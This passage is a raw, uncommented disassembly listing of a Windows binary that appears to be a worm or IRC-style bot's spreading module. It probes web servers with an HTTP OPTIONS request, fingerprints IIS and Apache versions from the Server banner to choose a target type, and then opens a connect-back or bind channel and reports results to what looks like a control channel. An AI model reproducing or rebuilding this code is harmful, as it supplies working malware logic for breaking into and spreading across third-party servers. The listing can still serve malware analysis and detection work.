		mov	[ebp+var_104], eax
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_8]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412A11
		push	offset aUnknown_0 ; "unknown"
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_412A11:				; CODE XREF: sub_4129CA+32j
		lea	eax, [ebp+var_100]
		push	eax
		mov	eax, [ebp+var_104]
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	offset dword_41A1D0
		push	offset aLast	; "#last"
		call	sub_40D4AB
		add	esp, 18h
		leave
		retn
sub_4129CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412A3A	proc near		; CODE XREF: sub_41331E+148p

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= byte ptr -248h
var_235		= byte ptr -235h
var_222		= dword	ptr -222h
var_20C		= dword	ptr -20Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	[ebp+arg_4]
		call	sub_412720
		pop	ecx
		push	3Ah
		push	[ebp+arg_0]
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_235]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_20C+3]
		mov	[ebp+var_8], eax
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		and	[ebp+var_4], 0
		jmp	short loc_412AA6
; ---------------------------------------------------------------------------


loc_412A9F:				; CODE XREF: sub_412A3A+8Aj
					; sub_412A3A:loc_412B7Fj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412AA6:				; CODE XREF: sub_412A3A+63j
		cmp	[ebp+var_4], 3Ch
		jnz	short loc_412AB1
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AB1:				; CODE XREF: sub_412A3A+70j
		push	3E8h
		push	[ebp+arg_4]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412AC6
		jmp	short loc_412A9F
; ---------------------------------------------------------------------------


loc_412AC6:				; CODE XREF: sub_412A3A+88j
		push	200h
		push	[ebp+var_8]
		push	[ebp+arg_4]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_24C], eax
		cmp	[ebp+var_24C], 0FFFFFFFFh
		jnz	short loc_412AED
		jmp	locret_412BC7
; ---------------------------------------------------------------------------


loc_412AED:				; CODE XREF: sub_412A3A+ACj
		cmp	[ebp+var_24C], 0
		jz	short loc_412B69
		and	[ebp+var_250], 0
		jmp	short loc_412B0C
; ---------------------------------------------------------------------------


loc_412AFF:				; CODE XREF: sub_412A3A:loc_412B34j
		mov	eax, [ebp+var_250]
		inc	eax
		mov	[ebp+var_250], eax


loc_412B0C:				; CODE XREF: sub_412A3A+C3j
		mov	eax, [ebp+var_250]
		cmp	eax, [ebp+var_24C]
		jnb	short loc_412B36
		mov	eax, [ebp+var_250]
		mov	eax, [ebp+eax+var_20C]
		cmp	eax, [ebp+var_222]
		jnz	short loc_412B34
		jmp	loc_412BC5
; ---------------------------------------------------------------------------


loc_412B34:				; CODE XREF: sub_412A3A+F3j
		jmp	short loc_412AFF
; ---------------------------------------------------------------------------


loc_412B36:				; CODE XREF: sub_412A3A+DEj
		push	3
		mov	eax, [ebp+var_24C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	200h
		push	0
		push	[ebp+var_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_412B7F
; ---------------------------------------------------------------------------


loc_412B69:				; CODE XREF: sub_412A3A+BAj
		push	203h
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_412B7F:				; CODE XREF: sub_412A3A+12Dj
		jmp	loc_412A9F
; ---------------------------------------------------------------------------


loc_412B84:				; CODE XREF: sub_412A3A:loc_412BC5j
		push	[ebp+arg_4]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412B93
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412B93:				; CODE XREF: sub_412A3A+155j
		push	offset dword_41CC64
		push	[ebp+arg_4]
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_0]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+arg_4]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		jmp	short locret_412BC7
; ---------------------------------------------------------------------------


loc_412BC5:				; CODE XREF: sub_412A3A+F5j
		jmp	short loc_412B84
; ---------------------------------------------------------------------------

locret_412BC7:				; CODE XREF: sub_412A3A+72j
					; sub_412A3A+AEj ...
		leave
		retn
sub_412A3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BC9	proc near		; CODE XREF: sub_41331E+165p

var_85C		= dword	ptr -85Ch
var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= byte ptr -84Ch
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 85Ch
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404FE7
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		mov	[ebp+var_854], 3Ch
		and	[ebp+var_850], 0
		and	[ebp+var_810], 0


loc_412BFD:				; CODE XREF: sub_412BC9+A9j
		and	[ebp+var_85C], 0
		jmp	short loc_412C13
; ---------------------------------------------------------------------------


loc_412C06:				; CODE XREF: sub_412BC9:loc_412C35j
		mov	eax, [ebp+var_85C]
		inc	eax
		mov	[ebp+var_85C], eax


loc_412C13:				; CODE XREF: sub_412BC9+3Bj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnb	short loc_412C37
		mov	eax, [ebp+var_85C]
		mov	eax, [ebp+eax*4+var_80C]
		cmp	eax, [ebp+var_8]
		jnz	short loc_412C35
		jmp	short loc_412C37
; ---------------------------------------------------------------------------


loc_412C35:				; CODE XREF: sub_412BC9+68j
		jmp	short loc_412C06
; ---------------------------------------------------------------------------


loc_412C37:				; CODE XREF: sub_412BC9+56j
					; sub_412BC9+6Aj
		mov	eax, [ebp+var_85C]
		cmp	eax, [ebp+var_810]
		jnz	short loc_412C6E
		cmp	[ebp+var_810], 200h
		jnb	short loc_412C6E
		mov	eax, [ebp+var_85C]
		mov	ecx, [ebp+var_8]
		mov	[ebp+eax*4+var_80C], ecx
		mov	eax, [ebp+var_810]
		inc	eax
		mov	[ebp+var_810], eax


loc_412C6E:				; CODE XREF: sub_412BC9+7Aj
					; sub_412BC9+86j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_412BFD
		lea	eax, [ebp+var_854]
		push	eax
		push	0
		lea	eax, [ebp+var_810]
		push	eax
		push	0
		push	0
		call	ds:dword_41722C	; select
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 1
		jz	short loc_412CA5
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	locret_412D4A
; ---------------------------------------------------------------------------


loc_412CA5:				; CODE XREF: sub_412BC9+CCj
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_858], eax
		cmp	[ebp+var_858], 0
		jnz	short loc_412CD1
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412BC9+FBj
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_858]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412CF9
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412CF9:				; CODE XREF: sub_412BC9+123j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412D11
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		jmp	short locret_412D4A
; ---------------------------------------------------------------------------


loc_412D11:				; CODE XREF: sub_412BC9+13Bj
		push	offset dword_41CC68
		push	[ebp+var_8]
		lea	eax, [ebp+var_84C]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

locret_412D4A:				; CODE XREF: sub_412BC9+D7j
					; sub_412BC9+106j ...
		leave
		retn
sub_412BC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D4C	proc near		; CODE XREF: sub_41331E:loc_413420p
		push	ebp
		mov	ebp, esp
		mov	eax, offset dword_41EB24
		pop	ebp
		retn
sub_412D4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D56	proc near		; DATA XREF: sub_412E04+CAo

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_412720
		pop	ecx
		push	[ebp+var_8]
		call	sub_412919
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jnz	short loc_412D8A
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412D8A:				; CODE XREF: sub_412D56+25j
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_48]
		call	sub_41294E
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412DAE
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DAE:				; CODE XREF: sub_412D56+49j
		push	[ebp+var_8]
		call	sub_4127D0
		pop	ecx
		test	eax, eax
		jnz	short loc_412DC8
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_412E00
; ---------------------------------------------------------------------------


loc_412DC8:				; CODE XREF: sub_412D56+63j
		push	offset dword_41CC6C
		push	[ebp+var_8]
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_4]
		call	sub_4129CA
		add	esp, 10h
		push	1
		push	[ebp+var_8]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax

locret_412E00:				; CODE XREF: sub_412D56+32j
					; sub_412D56+56j ...
		leave
		retn	4
sub_412D56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E04	proc near		; DATA XREF: sub_412F07+B0o

var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AA		= byte ptr -1AAh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B8h
		push	1ADh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412E59
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_412F03
; ---------------------------------------------------------------------------


loc_412E59:				; CODE XREF: sub_412E04+40j
		lea	eax, [ebp+var_1B0]
		push	eax
		mov	eax, [ebp+var_1B4]
		push	dword ptr [eax]
		push	offset dword_41CC70
		lea	eax, [ebp+var_1AA]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	offset dword_41EB24
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_412E8F:				; CODE XREF: sub_412E04+B7j
					; sub_412E04:loc_412EEAj
		mov	eax, [ebp+var_1B4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_412E9D
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412E9D:				; CODE XREF: sub_412E04+95j
		push	3E8h
		push	[ebp+var_4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1B8], eax
		cmp	[ebp+var_1B8], 0FFFFFFFFh
		jnz	short loc_412EBD
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EBD:				; CODE XREF: sub_412E04+B5j
		cmp	[ebp+var_1B8], 0
		jnz	short loc_412EC8
		jmp	short loc_412EEC
; ---------------------------------------------------------------------------


loc_412EC8:				; CODE XREF: sub_412E04+C0j
		push	[ebp+var_1B8]
		push	offset sub_412D56
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_412EEA
		push	[ebp+var_1B8]
		call	sub_4053B1
		pop	ecx


loc_412EEA:				; CODE XREF: sub_412E04+D8j
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412EEC:				; CODE XREF: sub_412E04+97j
					; sub_412E04+C2j
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1B4]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_412F03:				; CODE XREF: sub_412E04+50j
		leave
		retn	4
sub_412E04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F07	proc near		; CODE XREF: sub_40A9CF+F6Ep
					; sub_41349C+2C7p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_412F26
		jmp	locret_412FC4
; ---------------------------------------------------------------------------


loc_412F26:				; CODE XREF: sub_412F07+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_412F3A
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_C], eax
		jmp	short loc_412F4E
; ---------------------------------------------------------------------------


loc_412F3A:				; CODE XREF: sub_412F07+23j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax


loc_412F4E:				; CODE XREF: sub_412F07+31j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_412F63
		cmp	[ebp+var_4], 0FFFFh
		jbe	short loc_412F77


loc_412F63:				; CODE XREF: sub_412F07+51j
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_412F77:				; CODE XREF: sub_412F07+5Aj
		push	0Ah
		mov	eax, [ebp+var_8]
		add	eax, 4
		push	eax
		push	[ebp+var_4]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	offset dword_41CCA8
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	offset sub_412E04
		call	sub_4095A4
		add	esp, 14h

locret_412FC4:				; CODE XREF: sub_412F07+1Aj
		leave
		retn
sub_412F07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412FC6	proc near		; CODE XREF: .text:004168CBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD1:				; CODE XREF: sub_412FC6:loc_413088j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_412FD8:				; CODE XREF: sub_412FC6+9j
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	locret_41308D
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	ecx, dword_41CCF6[ecx]
		and	ecx, 0FFh
		mov	eax, off_41CCFE[eax]
		sub	eax, ecx
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	off_41CCFE[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		and	dword_41CCFA[eax], 0


loc_413024:				; CODE XREF: sub_412FC6+7Ej
					; sub_412FC6+BEj
		call	sub_410422
		mov	ecx, [ebp+var_4]
		imul	ecx, 3Ah
		mov	dword_41CCF6[ecx], eax
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		cmp	dword_41CCF6[eax], 0
		jnz	short loc_413046
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413046:				; CODE XREF: sub_412FC6+7Cj
		and	[ebp+var_8], 0
		jmp	short loc_413053
; ---------------------------------------------------------------------------


loc_41304C:				; CODE XREF: sub_412FC6:loc_413086j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_413053:				; CODE XREF: sub_412FC6+84j
		mov	eax, [ebp+var_8]
		imul	eax, 3Ah
		cmp	off_41CCFE[eax], 0
		jz	short loc_413088
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jz	short loc_413086
		mov	eax, [ebp+var_4]
		imul	eax, 3Ah
		mov	ecx, [ebp+var_8]
		imul	ecx, 3Ah
		mov	eax, dword_41CCF6[eax]
		cmp	eax, dword_41CCF6[ecx]
		jnz	short loc_413086
		jmp	short loc_413024
; ---------------------------------------------------------------------------


loc_413086:				; CODE XREF: sub_412FC6+A2j
					; sub_412FC6+BCj
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_412FC6+9Aj
		jmp	loc_412FD1
; ---------------------------------------------------------------------------

locret_41308D:				; CODE XREF: sub_412FC6+1Fj
		leave
		retn
sub_412FC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41308F	proc near		; CODE XREF: sub_41331E+72p

var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		push	16h
		push	offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130C4
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130C4:				; CODE XREF: sub_41308F+2Cj
		push	0
		push	800h
		lea	eax, [ebp+var_810]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4130F3
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4130F3
		cmp	[ebp+var_8], 800h
		jnz	short loc_4130FA


loc_4130F3:				; CODE XREF: sub_41308F+53j
					; sub_41308F+59j
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4130FA:				; CODE XREF: sub_41308F+62j
		mov	eax, [ebp+var_8]
		and	[ebp+eax+var_810], 0
		and	[ebp+var_4], 0
		push	offset aServer	; "Server:"
		lea	eax, [ebp+var_810]
		push	eax
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_41312C
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41312C:				; CODE XREF: sub_41308F+94j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+var_10]
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413150
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: sub_41308F+B8j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_413173
		xor	eax, eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413173:				; CODE XREF: sub_41308F+DBj
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		push	0Dh
		push	offset aMicrosoftIis ; "Microsoft-IIS"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41323C
		and	[ebp+var_818], 0
		and	[ebp+var_814], 0
		lea	eax, [ebp+var_814]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		push	offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 10h
		cmp	[ebp+var_818], 4
		jnz	short loc_4131E9
		cmp	[ebp+var_814], 0
		jnz	short loc_4131E9
		push	4
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_4131E9:				; CODE XREF: sub_41308F+147j
					; sub_41308F+150j
		cmp	[ebp+var_818], 5
		jnz	short loc_413203
		cmp	[ebp+var_814], 0
		jnz	short loc_413203
		push	3
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413203:				; CODE XREF: sub_41308F+161j
					; sub_41308F+16Aj
		cmp	[ebp+var_818], 5
		jnz	short loc_41321D
		cmp	[ebp+var_814], 5
		jnz	short loc_41321D
		push	2
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_41321D:				; CODE XREF: sub_41308F+17Bj
					; sub_41308F+184j
		cmp	[ebp+var_818], 6
		jnz	short loc_413237
		cmp	[ebp+var_814], 0
		jnz	short loc_413237
		push	1
		pop	eax
		jmp	locret_41331C
; ---------------------------------------------------------------------------


loc_413237:				; CODE XREF: sub_41308F+195j
					; sub_41308F+19Ej
		jmp	loc_41331A
; ---------------------------------------------------------------------------


loc_41323C:				; CODE XREF: sub_41308F+10Ej
		cmp	[ebp+var_C], 0
		jz	loc_41331A
		push	6
		push	offset aApache	; "Apache"
		push	[ebp+var_10]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_41331A
		and	[ebp+var_820], 0
		lea	eax, [ebp+var_820]
		push	eax
		push	offset aApacheU	; "Apache/%u"
		push	[ebp+var_10]
		call	sub_416BA2	; sscanf
		add	esp, 0Ch
		push	6
		push	offset aUnix	; "(Unix)"
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_81C], eax
		cmp	[ebp+var_81C], 1
		jnz	short loc_4132BE
		push	7
		push	offset aWin32	; "(Win32)"
		push	[ebp+var_C]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4132BE
		xor	eax, eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132BE:				; CODE XREF: sub_41308F+213j
					; sub_41308F+229j
		cmp	[ebp+var_820], 1
		jnz	short loc_4132D5
		cmp	[ebp+var_81C], 0
		jz	short loc_4132D5
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132D5:				; CODE XREF: sub_41308F+236j
					; sub_41308F+23Fj
		cmp	[ebp+var_820], 1
		jnz	short loc_4132EC
		cmp	[ebp+var_81C], 0
		jnz	short loc_4132EC
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_4132EC:				; CODE XREF: sub_41308F+24Dj
					; sub_41308F+256j
		cmp	[ebp+var_820], 2
		jnz	short loc_413303
		cmp	[ebp+var_81C], 0
		jz	short loc_413303
		push	6
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_413303:				; CODE XREF: sub_41308F+264j
					; sub_41308F+26Dj
		cmp	[ebp+var_820], 2
		jnz	short loc_41331A
		cmp	[ebp+var_81C], 0
		jnz	short loc_41331A
		push	5
		pop	eax
		jmp	short locret_41331C
; ---------------------------------------------------------------------------


loc_41331A:				; CODE XREF: sub_41308F:loc_413237j
					; sub_41308F+1B1j ...
		xor	eax, eax

locret_41331C:				; CODE XREF: sub_41308F+30j
					; sub_41308F+66j ...
		leave
		retn
sub_41308F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41331E	proc near		; DATA XREF: sub_41349C+4EBo
					; sub_413CB3+27Co

var_14C		= dword	ptr -14Ch
var_11A		= dword	ptr -11Ah
var_112		= dword	ptr -112h
var_10E		= dword	ptr -10Eh
var_10A		= byte ptr -10Ah
var_8A		= dword	ptr -8Ah
var_86		= byte ptr -86h
var_6		= byte ptr -6
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		push	14Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		push	[ebp+var_10E]
		call	sub_404457
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_10A]
		push	eax
		push	[ebp+var_10E]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413381
		push	[ebp+var_10E]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_413381:				; CODE XREF: sub_41331E+4Ej
		cmp	[ebp+var_112], 0
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_41308F
		pop	ecx
		cmp	[ebp+var_112], eax
		jz	short loc_4133B1
		push	[ebp+var_10E]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_413498
; ---------------------------------------------------------------------------


loc_4133B1:				; CODE XREF: sub_41331E+6Aj
					; sub_41331E+7Ej
		cmp	[ebp+var_8A], 1
		jnz	short loc_4133E0
		lea	eax, [ebp+var_6]
		push	eax
		push	[ebp+var_10E]
		call	sub_404552
		pop	ecx
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_4133E0:				; CODE XREF: sub_41331E+9Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_413420
		push	0Ah
		lea	eax, [ebp+var_6]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_10A]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_413444
; ---------------------------------------------------------------------------


loc_413420:				; CODE XREF: sub_41331E+C9j
		call	sub_412D4C
		push	eax
		lea	eax, [ebp+var_6]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41EF48
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_413444:				; CODE XREF: sub_41331E+C0j
					; sub_41331E+100j
		lea	eax, [ebp+var_14C]
		push	eax
		call	[ebp+var_11A]
		cmp	[ebp+var_8A], 1
		jnz	short loc_41346F
		push	[ebp+var_10E]
		push	[ebp+var_14C]
		call	sub_412A3A
		pop	ecx
		pop	ecx
		jmp	short loc_41348A
; ---------------------------------------------------------------------------


loc_41346F:				; CODE XREF: sub_41331E+13Aj
		cmp	[ebp+var_8A], 2
		jnz	short loc_41348A
		lea	eax, [ebp+var_6]
		push	eax
		lea	eax, [ebp+var_86]
		push	eax
		call	sub_412BC9
		pop	ecx
		pop	ecx


loc_41348A:				; CODE XREF: sub_41331E+14Fj
					; sub_41331E+158j
